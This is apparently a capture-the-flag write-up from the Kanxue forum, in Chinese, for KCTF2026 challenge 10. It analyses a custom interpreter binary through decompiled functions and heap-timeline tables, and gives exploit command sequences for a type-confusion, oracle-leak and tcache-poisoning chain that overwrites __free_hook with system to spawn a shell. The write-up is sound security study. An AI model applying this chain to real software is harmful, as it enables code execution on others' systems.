首页
社区
课程
招聘
[原创]KCTF2026 第十题:卯时·曦光初现(AI)
发表于: 1天前 396

[原创]KCTF2026 第十题:卯时·曦光初现(AI)

1天前
396

VM 下标遍历的 BEEF-tag 伪头跳跃(类型混淆)→ 任意堆写/读原语 → "报错与否"位 oracle 泄漏 libc 与堆基准 → 按解析期 malloc/free 时间线精准操控 0x20 tcache → 毒化空闲块 fd = __free_hook → 让"下标向量"本身分配在 __free_hook 上,vector[0] = system 直接改写钩子 → 最后一行字符串 free 时触发 system("sh;...") → 交互 shell。

读法要点:

全局变量(交叉引用确认):

调度全景(命令 → 解析入口 → execute/物化函数):

sub_3A37stoul 的 try/catch 包装(异常消息里带 "stoul" 字串):下标数字串为空时 stoul("")std::invalid_argument未被捕获 → std::terminate → 直接 abort(这是起壳行不能带 x/空下标的根因)。

Assign 的 execute(sub_309E)——ctx[槽] = 右值节点.物化(arena)

List 的物化(sub_31DC)——在 arena cursor 处落盘,返回 0x1337<<48 | ptr

BinOp 的 execute(sub_30DE)——8 种运算、全 64 位:

注意:它只拦 0x1337 高 16 位(列表句柄),其它高 16 位值(比如我们构造的 0xBEEF<<48)完全自由参与运算——伪头模板能通过 $4*$2$7|$S 拼出来正赖于此。

下钻函数 sub_1EDA(整个漏洞的核心)——从节点头 p 前进 i 个"元素":

Load 的 execute(sub_36E6)——$d=$s[i][j]...

Store 的 execute(sub_3886)——$d[i]=$s

/*0x3a0a*/ 这条写指令就是 gdb tracer(gdbs18.txt)锚定的 Store 写点。

三处与堆利用直接相关的细节:operator new(0x30)(§4 表的步骤 2);token 构造与释放夹着 push_back(步骤 3/4/5);取 min(剩余长度, 数字串绝对结束位置) 的 quirk 使 15 位下标的 token 恰为 18 字符(数字+]=$),必然超过 SSO 的 15 字符而上堆。

对照 §1.3 的 sub_1EDA:一个元素"是标量还是子链表头",完全由它解密后的值的高 16 位是否等于 0xBEEF 决定——而这个值就是用户通过 Store 写入的数据(*p = cookie ^ ctx[s])。换句话说:用户数据可以伪装成结构体的类型标记,典型的类型混淆。

伪头构造(BinOp 64 位运算把值抬进高 16 位):

$1[1](单下标 1)的遍历过程:sub_1EDA(列表头, 1) 走第 1 个元素时检查 e0——发现它是 BEEF 头 → 递归 sub_1EDA(e0, SS) → 从 e1 起步进 SS 次(后续都是零/标量,每次 +8)→ 落点 = e0 + 8*SS

第 k 个列表的 e0 地址 = arena_base + k*0x48 + 0x10(元素区起点,按 gdb 校准):

这就是 exp.py 里 S = (off - head - 0x10) // 8head = NLIST*0x48)的来历。读原语$8=$1[1]*(落点) ^ cookie 装进 ctx(§1.3 Load 的 LABEL_16);写原语$1[1]=$wcookie ^ ctx[w] 写到落点(§1.3 Store 的 0x3a0a)。

静态初始化顺序(gdb 实测):tcache_perthread_struct(0x250) → 列表 arena(0x10010) → 之后所有按命令分配/释放的堆块

也就是说,伪头跳跃的前方(更高地址)正好是解释器每条命令产生又释放的那批 0x20/0x30/0x40 小块——它们 free 后都挂在 tcache 里。SS 取 0x2000 多(字节距离 0x10000+)就能直接落在这些空闲块的 fd 字段上。

正常命令成功时什么都不打印(§1.1 的 main 只认 execute 的 bool 返回值),只有两种报错:invalid syntax!(解析失败)和 runtime error!(execute 返回 0)。所以任何信息都得变成"是否报错"的 1bit 信道——这就是 oracle。

目标:把某个 ctx 寄存器(如 $8,已还原成裸值)的第 i 位读出来。每个位用一组命令:

观测命令的双下标遍历(对照 §1.3 Load 的循环):

于是 报错=1、静默=0,36 位(bit 12..47)× 每位约 10 条命令,即可读回任意落点 qword。低 12 位不提取,直接用已知偏移补齐(见 3.3)。

读两个堆上残留的指针(都在列表 arena 之后、命令堆块区里,偏移为 gdb 实测常量):

再按本地 gdb 校准的固定修正(同版本二进制 + libc 远程完全一致):

得到 libc 后即可算 system = libc+0x4f420__free_hook = libc+0x3ed8e8(Ubuntu 18.04 的 libc6 2.27-3ubuntu1.6,即题目自带 libc-2.27.so)。

这是整个堆利用的"乐谱"。静态依据是 §1.5 的 sub_1F91(下标语句解析器)源码,动态效果(free 后的 LIFO 复用)由 gdb 断在 malloc/free 上实测(g18/g21/g22.log)。对一条形如 $1[<15位下标>]=$v、行长 22 字符的命令,从读入到结束依次发生:

要点:

Phase 1 结束时 0x20-bin 的静止态(7 块,实测):

把链头空闲块 R0 的 fd(第一个 qword)改成 __free_hook,且这次写入不能被后续的 tcache_put 覆盖掉

按 §4 时间线逐步推演(起点:链头 R0→R1→R2→…):

存活的关键:EXEC 写 fd 时,R0 已经是"回到 bin 里的空闲块",而它不是 p 自己的向量(向量是 R2)——destroy 压回的是 R2,不碰 R0 的 fd。最终链 R2 → R0 → __free_hook,这正是我们想要的静止态。

(写入合法性:Store 要求落点解密后高 16 位 ≠ 0xBEEF(§1.3)——R0 的 fd 是堆指针,显然满足。)

当前链头 R2 → R0 → __free_hook,按时间线:

也就是:下标向量这个 8 字节缓冲被分配在 __free_hook 上,解析器把"下标值 = system"写进 vector[0],等价于 *(__free_hook) = system。gdb 硬件断点实录(g22.log):malloc(0x8) = 0x7ffff73ed8e8(正是 __free_hook),下一个写操作后 watchpoint 报 __free_hook = 0x7ffff704f420(system)。

单下标 ⇒ 无 cap2;free(token) 发生在 cap1 之后 ⇒ 三连弹中间无压回——这是刻意用"单下标 + 22 字符行"达成的编排。

设计约束与理由:

所有十进制字面量固定 15 位宽度(前导零补齐)——这同时控制了行长(→ bin 归属)与 token 长度(→ 是否走堆分配)。

命令 解析入口 execute / 物化 效果
$a + $b- * / % ^ | & 同) sub_263C sub_30DE(BinOp) ctx[a] = ctx[a] op ctx[b]全 64 位、无截断;两操作数高 16 位均不得为 0x1337(列表句柄)
$d=<十进制> / $d=[e0,e1,...] sub_2ABC sub_309E(Assign)+ sub_31DC(List 物化) 字面量只有 48 位有效(实测高位必须靠 BinOp 构造);列表落盘 arena,句柄 = 0x1337<<48 | ptr
$d=$s / $d=$s[i][j]... sub_22D7 sub_36E6(Load) 无下标:ctx[d]=ctx[s];有下标:逐层下钻读元素(^cookie 解密)
$d[i]=$s$d[i][j]=$s…) sub_1F91 sub_3886(Store) 逐层下钻,写 cookie ^ ctx[s]ctx[s] 不得为列表句柄
落点偏移(相对列表 arena) 内容 用途
+0x10078 stderr 的 FILE*(= libc+0x3ec680) libc = 值 - 0x3ec680(低 12 位用 0x680 补)
+0x10098 指向 arena_base+0x100f0 的自指针 列表arena基址 = 值 - 0x100f0(低 12 位用 0x0f0 补)
# 动作 大小 → tcache bin 说明
1 malloc(行长+1) 行字符串 22 字符行 → malloc(0x17) → 0x20;≥25 字符 → 0x30 main 的 _M_construct(§1.1 堆分配点①)
2 malloc(0x30) AST 节点 0x40 sub_1F91 开头的 operator new(0x30uLL)
3 malloc(19) token 0x20 sub_1F91 循环里的 _M_construct:token = 下标数字串+]=$ 共 18 字符(15 位下标时);≤15 字符走 std::string SSO 不分配
4 malloc(8) cap1(下标向量 0→1 增长) 0x20 sub_3C14(push_back 的 realloc 路径);分配后立刻 vector[0] = stoul 结果
5 free(token) 压回 0x20-bin 头部 operator delete(v21[0])——紧跟在 push 之后
6 (≥2 下标才有)malloc(0x10) cap2 0x20 弹出的是步骤 5 刚压回的 token 块;memcpy cap1→cap2,free(cap1)
7 free(行字符串) 压回 main 里 parse 返回后立刻 operator delete(v9)
8 EXEC(§1.3 的 Load/Store:遍历 + 读/写落点) 真正执行漏洞逻辑
9 destroy:free(向量缓冲)free(节点) 压回 节点是 0x40-bin
步骤 动作 0x20-bin 链状态
1 行字符串 malloc → 弹 R0 R1→R2→…
3 token malloc → 弹 R1 R2→…
4 cap1 malloc → 弹 R2vector[0]=1 …(后续块)
5 free(token):压回 R1 R1→…
7 free(行字符串):压回 R0 R0→R1→…
8 EXEC:伪头跳跃落点 = R0,写 *R0 = __free_hook(覆盖 fd=R1) R0→**__free_hook**(毒化生效)
9 destroy:free(向量=R2)、free(节点) R2→R0→__free_hook
步骤 动作 链状态
1 行字符串 malloc → 弹 R2 R0→__free_hook
3 token malloc → 弹 R0(fd 已被 p 改写,读出 __free_hook __free_hook
4 cap1 malloc → 弹出 __free_hook 本身;随后 vector[0] = system
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v3; // al
  __int64 v5; // rax
  _BYTE *v7; // rbx
  _QWORD *v8; // rax
  void *v9; // [rsp+0h] [rbp-168h] BYREF
  char v10[16]; // [rsp+10h] [rbp-158h] BYREF
  char buf[264]; // [rsp+20h] [rbp-148h] BYREF
  unsigned __int64 v12; // [rsp+128h] [rbp-40h]

  v12 = __readfsqword(0x28u);                                              /*0x2d23*/
  setvbuf(stream: stdin,  buf: 0LL, modes: 2, n: 0LL);                     /*0x2d43*/
  setvbuf(stream: stdout, buf: 0LL, modes: 2, n: 0LL);                     /*0x2d5e*/
  setvbuf(stream: stderr, buf: 0LL, modes: 2, n: 0LL);                     /*0x2d79*/
  memset(buf: buf, value: 0, count: 0x100uLL);                             /*0x2d8d*/
  while ( 1 )
  {
    std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "> ", 2LL);   /*0x2e4a*/
    v6 = *(_QWORD *)(std::cin[0] - 24LL);                                  /*0x2e53*/
    v7 = *(_BYTE **)((char *)&std::cin[30] + v6);                          /*0x2e57*/
    if ( !v7 )                                                            /*0x2e62*/
      std::__throw_bad_cast();                                            /*0x2dab*/
    if ( v7[56] )                                                         /*0x2e68*/
    {
      v3 = v7[67];                                                        /*0x2e72*/
    }
    else
    {
      std::ctype<char>::_M_widen_init(*(_QWORD *)((char *)&std::cin[30] + v6));   /*0x2db3*/
      v3 = (*(...)**)(*(_QWORD *)v7 + 48LL))(v7, 10LL);                    /*0x2dc3*/
    }
    v8 = (_QWORD *)std::istream::getline((std::istream *)std::cin, buf: buf, n256: 256LL, v3);   /*0x2e84*/
    if ( (*((_BYTE *)v8 + *(_QWORD *)(*v8 - 24LL) + 32) & 2) != 0 )        /*0x2e95*/
      break;                                                              // EOF → 退出
    if ( buf[0] )                                                         /*0x2ea0*/
    {
      v9 = v10;                                                           /*0x2ea9*/
      std::string::_M_construct<char const*>(&v9, buf, &buf[strlen(buf)]); /*0x2ed5*/   // 堆分配点①行字符串
      v5 = sub_2B14(&v9, (unsigned int)buf);                              /*0x2df9*/   // parse → AST 节点
      if ( v9 != v10 )
        operator delete(v9);                                              /*0x2e0a*/
      if ( v5 )                                                           /*0x2e12*/
      {
        if ( !(**(_QWORD ****)v5)(v5, &unk_2062A0) )                      /*0x2e25*/   // vtable[0]=execute,参数 ctx@0x2062A0
        {
          std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "runtime error!", 14LL);   /*0x2f1b*/
          std::endl<char,std::char_traits<char>>(&std::cout);             /*0x2f23*/
        }
        (*(void (__fastcall **)(__int64))(*(_QWORD *)v5 + 16LL))(v5);     /*0x2e35*/   // vtable[0x10]=destroy
      }
      else
      {
        std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "invalid syntax!", 15LL);    /*0x2efa*/
        std::endl<char,std::char_traits<char>>(&std::cout);               /*0x2f02*/
      }
    }
  }
  return 0LL;
}
__int64 __fastcall sub_2B14(__int64 *a1, unsigned int buf)      // a1 = 行字符串 {ptr, len}
{
  ...
  n2 = a1[1];                                    // len
  if ( !n2 )                    return 0LL;
  v3 = (_BYTE *)*a1;                              // 行首
  if ( *v3 != 36 || n2 <= 1 )   return 0LL;       // 必须以 '$' 开头
  if ( (unsigned int)((char)v3[1] - 48) > 9 )  return 0LL;   // '$' 后必须是数字
  if ( n2 <= 2 )                return 0LL;
  n2_1 = 2;                                       // 从下标 2 起扫过数字串
  if ( (unsigned int)((char)v3[2] - 48) > 9 )
  {
LABEL_9:
    v10 = v11;                                    // 栈上 std::string(SSO)
    v5 = v3 + 1;                                  // token = '$' 之后的内容
    n2_2 = n2 - 1;
    if ( n2 - 1 > n2_1 )  n2_2 = n2_1;
    std::string::_M_construct<char const*>(&v10, v5, (char *)n2_2 + v5);   // token 子串
    v9 = sub_3A37(&strtoul, "stoul", v10, 0LL, 10LL);    // 槽号 = stoul(token)
    if ( v10 != v11 )
      operator delete(v10);
    switch ( *((_BYTE *)n2_1 + *a1) )             // 数字串结束处是什么字符?
    {
      case '%': case '&': case '*': case '+':
      case '-':  case '/':  case '^': case '|':
        result = sub_263C(a1, n2_1, v9);          // → BinOp 语句节点
        break;
      case '=':
        result = 0LL;
        if ( n2_1 + 1 < n2 )
        {
          n91 = *((_BYTE *)n2_1 + *a1 + 1);       // '=' 后面跟什么?
          if ( n91 == 36 )                        // '$' → $d=$s 形态
            result = sub_22D7(a1, n2_1 + 2, v9);  // → Load 语句节点
          else if ( n91 == 91 || (unsigned int)(n91 - 48) <= 9 )   // '[' 或数字
            result = sub_2ABC(a1, n2_1 + 1, v9);  // → Number/List 字面量节点
          else
            result = 0LL;
        }
        break;
      case '[':
        result = sub_1F91(a1, n2_1, v9);          // → $d[...] Store 语句节点
        break;
      default:
        result = 0LL;                             // 其余一律 invalid syntax!
        break;
    }
  }
  else { /* 继续扫数字串,直到非数字 → LABEL_9 */ }
  return result;
}
__int64 __fastcall sub_309E(__int64 a1, __int64 a2)      // a1=节点, a2=ctx
{
  n0xFF = *(_QWORD *)(a1 + 16);                          // 目标槽号
  result = 0LL;
  if ( n0xFF <= 0xFF )
  {
    *(_QWORD *)(a2 + 8 * n0xFF) = (*(..**)(**(a1+8) + 16LL))(*(a1+8), &qword_206AA0);
                                   // ↑ 调右值子节点 vtable+0x10,参数 = &arena{begin,cursor}
    return 1LL;
  }
  return result;                                         // 槽号 >255 → runtime error
}
__int64 __fastcall sub_31DC(__int64 a1, _QWORD *a2)      // a2 = &qword_206AA0 = {begin, cursor}
{
  n0x1FFF = (*(..**)(*(_QWORD *)a1 + 24LL))(a1);         // 子节点 count()(vtable+0x18)
  if ( n0x1FFF > 0x1FFF || (v3 = a2[1], v4 = v3 + 8 * n0x1FFF, v4 > *a2 + 0x10000LL)
       || (a2[1] = v4, !v3) )                            // cursor+8n 超出 64KB arena
  {
    std::__ostream_insert<char,std::char_traits<char>>(&std::cout,
        "run out of memory, garbage collection has not been implemented yet", 66LL);
    std::endl<char,std::char_traits<char>>(&std::cout);
    exit(1);                                             // arena 满 = 直接退进程
  }
    (*(void (__fastcall **)(__int64, __int64))(*(_QWORD *)a1 + 32LL))(a1, v3);   // 子节点.fill(头地址)(vtable+0x20)
  return v3 | 0x1337000000000000LL;                      // ← 列表句柄 = 0x1337<<48 | ptr
}
__int64 __fastcall sub_30DE(__int64 a1, __int64 a2)
{
  n0xFF_1 = *(_QWORD *)(a1 + 16);                        // 目标槽(左操作数)
  result = 0LL;
  if ( n0xFF_1 <= 0xFF )
  {
    n0xFF = *(_QWORD *)(a1 + 8);                         // 源槽(右操作数)
    if ( n0xFF <= 0xFF )
    {
      v5 = *(_QWORD *)(a2 + 8 * n0xFF);                  // ctx[b]
      if ( (v5 & 0xFFFF000000000000LL) != 0x1337000000000000LL )   // 不能是列表句柄
      {
        v6 = (unsigned __int64 *)(a2 + 8 * n0xFF_1);     // &ctx[a]
        v7 = *v6;
        if ( (*v6 & 0xFFFF000000000000LL) != 0x1337000000000000LL )
        {
          switch ( *(_DWORD *)(a1 + 24) )                // 运算符编号
          {
            case 0: *v6 = v7 + v5; result = 1LL; break;
            case 1: *v6 = v7 - v5; result = 1LL; break;
            case 2: *v6 = v7 * v5; result = 1LL; break;
            case 3: *v6 /= v5;      result = 1LL; break;
            case 4: *v6 = v7 % v5;  result = 1LL; break;
            case 5: *v6 = v7 ^ v5;  result = 1LL; break;
            case 6: *v6 = v7 | v5;  result = 1LL; break;
            case 7: *v6 = v7 & v5;  result = 1LL; break;
            default: result = 0LL; break;
          }
        }
      }
    }
  }
  return result;
}
_QWORD *__fastcall sub_1EDA(_QWORD *a1, unsigned __int64 i)
{
  v2 = qword_206AB0;                                     // cookie
  v3 = *a1 ^ qword_206AB0;                               // 解密节点头
  if ( (v3 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
    return 0LL;                                          // 头 tag 不是 BEEF → 失败
  if ( (v3 & 0xFFFFFFFFFFFFuLL) < i )
    return 0LL;                                          // 下标 i 超过 size → 失败(只要求 i <= size)
  result = a1 + 1;                                       // r = 第一个元素
  if ( i )
  {
    for ( j = 0LL; i != j; ++j )
    {
      if ( ((*result ^ v2) & 0xFFFF000000000000LL) == 0xBEEF000000000000LL )
      {
        result = sub_1EDA(result, (*result ^ v2) & 0xFFFFFFFFFFFFLL);
                                   // ↑ 元素被当成"子链表头":递归跳跃,步长 = 元素低 48 位
        if ( !result )
          return result;
      }
      else
      {
        ++result;                                        // 标量:步进 8 字节
      }
    }
  }
  return result;                                         // 返回"下标 i 元素"的地址
}
__int64 __fastcall sub_36E6(_QWORD *a1, __int64 a2)
{
  n0xFF_1 = a1[1];                                       // 目标槽 d
  result = 0LL;
  if ( n0xFF_1 <= 0xFF )
  {
    n0xFF = a1[2];                                       // 源槽 s
    if ( n0xFF <= 0xFF )
    {
      v5 = *(_QWORD *)(a2 + 8 * n0xFF);                  // ctx[s]
      i_2 = a1[4]; i_3 = a1[3];                          // 下标向量 [begin, end)
      if ( i_3 == i_2 )                                  // 无下标:纯拷贝
      {
        *(_QWORD *)(a2 + 8 * n0xFF_1) = v5;
        return 1LL;
      }
      result = 0LL;
      if ( (v5 & 0xFFFF000000000000LL) == 0x1337000000000000LL )   // 必须是列表句柄
      {
        v8 = (_QWORD *)(v5 & 0xFFFFFFFFFFFFLL);          // 节点头地址
        ...
        i_1 = *i_3;                                      // 第一个下标
        v11 = *v8 ^ qword_206AB0;                        // 解密当前头
        if ( (v11 & 0xFFFF000000000000LL) == 0xBEEF000000000000LL )
        {
          if ( i_1 >= (v11 & 0xFFFFFFFFFFFFuLL) )        // 下标越界检查(对每层都做)
            return 0LL;
          for ( i = i_3 + 1; ; ++i )
          {
            v8 = sub_1EDA(v8, i_1);                      // ← 下钻
            if ( !v8 )  return 0LL;
            if ( i_2 == i )  goto LABEL_16;              // 最后一个下标 → 去读
            i_1 = *i;                                    // 下一个下标
            v13 = *v8 ^ v10;
            if ( (v13 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
              return 0LL;                                // 中间落点必须是合法头
            if ( i_1 >= (v13 & 0xFFFFFFFFFFFFuLL) )
              return 0LL;
          }
        }
      }
    }
  }
  return result;

LABEL_16:                                                // 读最终落点
  v14 = qword_206AB0 ^ *v8;
  result = 0LL;
  if ( (v14 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
  {
    *(_QWORD *)(a2 + 8 * n0xFF_1) = v14;                 // ctx[d] = *落点 ^ cookie
    return 1LL;
  }
  return result;                                         // 落点解密后是 BEEF 头 → 拒读
}
__int64 __fastcall sub_3886(_QWORD *a1, __int64 a2)
{
  n0xFF_1 = a1[1];                                       // 值槽 s
  result = 0LL;
  if ( n0xFF_1 <= 0xFF )
  {
    n0xFF = a1[2];                                       // 列表槽 d
    if ( n0xFF <= 0xFF )
    {
      v5 = *(_QWORD *)(a2 + 8 * n0xFF_1);                // ctx[s]
      if ( (v5 & 0xFFFF000000000000LL) != 0x1337000000000000LL )   // 值不能是列表句柄
      {
        i_2 = a1[4]; i_3 = a1[3];
        if ( i_3 == i_2 )                                // 无下标:写回槽
        {
          *(_QWORD *)(a2 + 8 * n0xFF) = v5;
          return 1LL;
        }
        v8 = *(_QWORD *)(a2 + 8 * n0xFF);
        result = 0LL;
        if ( (v8 & 0xFFFF000000000000LL) == 0x1337000000000000LL )  // 必须是列表句柄
        {
          v9 = (_QWORD *)(v8 & 0xFFFFFFFFFFFFLL);        // 节点头
          ...
          i_1 = *i_3;                                    // 第一个下标
          v12 = *v9 ^ qword_206AB0;
          if ( (v12 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
            return 0LL;
          if ( i_1 >= (v12 & 0xFFFFFFFFFFFFuLL) )
            return 0LL;                                  // 越界 → runtime error
          for ( i = i_3 + 1; ; ++i )
          {
            v14 = sub_1EDA(v9, i_1);                     // ← 下钻
            v9 = v14;
            if ( i == i_2 )  break;                      // 最后一个下标 → 去写
            i_1 = *i;
            v15 = *v14 ^ v11;
            if ( (v15 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
              return 0LL;                                // 中间落点必须是合法头
            if ( i_1 >= (v15 & 0xFFFFFFFFFFFFuLL) )
              return 0LL;
          }
          result = 0LL;
          if ( ((*v9 ^ qword_206AB0) & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
          {
            *v9 = qword_206AB0 ^ v5;                     // /*0x3a0a*/ 最终写:*落点 = cookie ^ ctx[s]
            return 1LL;
          }
        }
      }
    }
  }
  return result;
}
_QWORD *__fastcall sub_1F91(__int64 a1, __int64 *n2, __int64 a3)   // a1=行串{n2_1=扫描位置,a3=列表槽}
{
  ...
  v6 = (_QWORD *)operator new(0x30uLL);                 /*0x1fc8*/  // ← AST 节点(0x40-bin)
  *v6 = off_2059F8;                                     // Store 节点虚表
  v6[2] = a3;                                           // 列表槽
  v6[3] = v6[4] = v6[5] = 0LL;                          // 下标向量 {begin,end,cap} = 空
  ...
        while ( 1 )                                     // 逐下标循环
        {
          n2_6 = n2_7;                                  // 数字串起点('[' 之后)
          if ( n2_3 > n2_7 && (n2_7[str]-48) <= 9 )
            do ++n2_6; while ( n2_3 != n2_6 && (str[n2_6]-48) <= 9 );   // 扫到数字串尾
          ...
          n2_9 = n2_8 - n2_7;                           // 剩余长度
          if ( n2_9 > n2_6 )  n2_9 = n2_6;              // ← 注意:与"绝对位置"取 min(quirk)
          std::string::_M_construct<char const*>(v21, v15, &v15[n2_9]); // ← token 子串构造
                                                              // 15 位下标 → 18 字符"数字]=$" → malloc(19)
          v12 = sub_3A37(&strtoul, "stoul", v21[0], 0LL, 10LL);        // 下标 = stoul(token)
          v20 = v12;
          n2 = v6[4];
          if ( n2 == v6[5] )                            // end == cap → 容量满
            sub_3C14(v6 + 3, n2, &v20);                 // ← push_back 扩容:cap1=malloc(8)+写入
          else
          {
            *n2 = v12;                                  // 有空位:直接写
            v6[4] += 8LL;
          }
          if ( v21[0] != v22 )
            operator delete(v21[0]);                    // ← token 释放(在 push 之后!)
          if ( n2_3 <= n2_6 )  break;
          if ( str[n2_6] != ']' )  break;
          ...
          n2_7 = n2_6 + 2;                              // 下一个 '[' 之后继续
        }
  ...
  v6[1] = sub_3A37(&strtoul, "stoul", v21[0], 0LL, 10LL);   // '=$n' 的值槽
  return v6;
}
$2=281474976710656   # 2^48
$4=48879; $4*$2      # ctx4 = 0xBEEF000000000000        ← 伪头模板
$7=$4; $7|$SS        # ctx7 = 0xBEEF000000000000 | SS   ← 拼上跳跃步长
$1[0]=$7             # 种进元素0 → 这个列表的 e0 变成"大小为 SS 的子链表头"
落点 = arena_base + k*0x48 + 0x10 + 8*SS
⟹ SS = (目标偏移 - k*0x48 - 0x10) / 8
$1=[0,0,0,0,0,0,0,0]        # 新建第 k 个列表(头在 k*0x48,前方全是未用零区)
$3=2^i                      # 位掩码(i≥48 时:$3=2^(i-48); $3*$2 抬高位)
$6=1; $7=$4; $7|$6; $1[1]=$7     # e1 植入伪头 BEEF|1(跳跃步长 1)
$6=$8; $6&$3; $6/$3; $6*$5       # $6 = ((v>>i)&1) * 2000   ← 待测位放大成 0 或 2000
$7=$4; $7|$6; $1[0]=$7           # e0 植入伪头 BEEF|(bit*2000)
$0=$1[1][0]                      # 观测命令:报错 ⟺ bit=1
堆基准 = 自指针 - 0x100f0 - 0xe170
R0(0x20-bin 链头空闲块用户指针)= 堆基准 + 0x10240

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!

上传的附件:
收藏
免费 0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回